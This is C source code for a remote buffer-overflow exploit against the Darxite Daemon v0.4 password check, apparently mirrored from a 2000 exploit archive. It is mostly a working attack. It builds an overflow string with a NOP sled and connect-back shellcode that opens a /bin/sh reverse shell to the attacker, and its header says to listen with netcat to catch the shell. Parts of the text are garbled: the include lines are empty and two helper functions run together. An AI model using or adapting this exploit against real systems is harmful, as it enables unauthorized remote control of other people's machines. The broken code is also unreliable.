/* Darxite Daemon v0.4 password authentication overflow ---------------------------------------------------- dethy- whipped up a small advisory about this, since I was bored I took up writing a simple exploit. Shouts and vulnerability discovery credits should be sent to him ;) I tried to use some easy functions for string creation, and they seem to work pretty quick (no more hours of frustration writing for loops :). As always I used my own shellcode, you should do a "nc -l -p 27002" on the machine you fill in as "your IP" and execute this - if it works you'll have a shell in the netcat session. Lots of love go out to: Maja, Hester and Marleen (you're cute :) Shouts go out to: my grandma (And no one else, this is meant as a tribute to the dearest old lady I know) void *vlieger; void *(useBrains)(void); vlieger = dlopen("/lib/flyahh.so", RTLD_LAZY); useBrains = dlsym(handle, "brainActivity"); if(!useBrains) { fprintf(stderr, "Brains not found...\n"); exit(-1); } ... flyahh.c: In function `main': flyahh.c:6: warning: expression always evaluates to true -- Scrippie/ronald@grafix.nl */ /* Synnergy.net 2000 (c) */ #include #include #include #include #include #include #include #define DARX_BUF 1024 #define NUM_NOPS 1000 int xconnect(unsigned long, unsigned int); char *strcreat(char *, char *, int); char *longToChar(unsigned long); int nullinint32(u_int32_t); char hellcode[]= "\xeb\x7a\x5e\x31\xc0\x31\xdb\x31\xd2\xb0\x66\xb3\x01\x8d\x4e\x1c\xb2\x01\x89" "\x56\x20\xb2\x06\x89\x56\x24\xb2\x02\x89\x56\x1c\xcd\x80\x89\x46\x18\x89\x16" "\x66\xc7\x46\x02\x69\x7a\x89\x46\x1c\x8d\x06\x89\x46\x20\x80\xc2\x0e\x89\x56" "\x24\x31\xc0\x04\x66\x80\xc3\x02\x8d\x4e\x1c\xcd\x80\x31\xc0\x04\x3f\x89\xc2" "\x8b\x5e\x18\x31\xc9\xcd\x80\x89\xd0\x41\xcd\x80\x89\xd0\x41\xcd\x80\x31\xc0" "\x8d\x7e\x0f\x80\xc1\x07\xf3\xaa\x04\x0b\x8d\x5e\x08\x89\x5e\x10\x8d\x4e\x10" "\x31\xd2\xcd\x80\x31\xc0\xfe\xc0\xcd\x80\xe8\x81\xff\xff\xff\x41\x41\x42\x42" "\xBB\xBB\xBB\xBB\x2f\x62\x69\x6e\x2f\x73\x68"; int main(int argc, char **argv) { int sd; unsigned int align=0; unsigned long dip, sip, retaddy=0xbffff928; char *iploc, *evilstring; if(argc < 4) { printf("Use as: %s [ret addy] [align] \n", argv[0]); exit(0); } if((dip = inet_addr(argv[1])) == -1) { perror("inet_addr()"); exit(-1); } if((sip = inet_addr(argv[3])) == -1) { perror("inet_addr()"); exit(-1); } if(argc > 4) retaddy = strtoul(argv[4], NULL, 16); if(argc > 5) align = atoi(argv[5]); printf("Using return address: 0x%lx\n", retaddy); printf("Using alignment: %d\n", align); if(nullinint32(retaddy)) { fprintf(stderr, "Error: NULL byte in return address\n"); exit(-1); } if(nullinint32(sip)) { fprintf(stderr, "Error: NULL byte in IP address to connect back to\n"); exit(-1); } /* Locate the IP position in the shellcode */ iploc=(char *)strchr(hellcode, 0xBB); memcpy((void *) iploc, (void *) &sip, 4); /* Generate the overflow string */ evilstring = strcreat(NULL, "A", align); /* We memory leak 5 bytes here, don't make a service out of this :) */ evilstring = strcreat(evilstring, longToChar(retaddy), (DARX_BUF+8)>>2); evilstring = strcreat(evilstring, "\x90", NUM_NOPS); evilstring = strcreat(evilstring, hellcode, 1); sd = xconnect(sip, atoi(argv[2])); printf("Connected... Now sending overflow...\n"); send(sd, evilstring, strlen(evilstring)+1, 0); free(evilstring); return(0); } /* Returns the socket descriptor to "ip" on "port" */ int xconnect(unsigned long ip, unsigned int port) { struct sockaddr_in sa; /* Sockaddr */ int sd; /* Socket Descriptor */ if((sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } memset(&sa, 0x00, sizeof(struct sockaddr_in)); sa.sin_port=htons(port); sa.sin_addr.s_addr=ip; if(connect(sd, &sa, sizeof(struct sockaddr_in)) == -1) { perror("connect()"); exit(-1); } return(sd); } /* Yummy yummy function for easy string creation */ char *strcreat(char *dest, char *pattern, int repeat) { char *ret; size_t plen, dlen=0; int i; if(dest) dlen = strlen(dest); plen = strlen(pattern); ret = (char *)realloc(dest, dlen+repeat*plen+1); for(i=0;i> (i<<3)) & 0xff; } ret[sizeof(long)] = 0x00; return(ret); } int nullinint32(u_int32_t a) { if(!(a & 0xff)||!(a & 0xff00)||!(a & 0xff0000)||!(a & 0xff000000)) { return(1); } return(0); } /* www.hack.co.za [24 August 2000]*/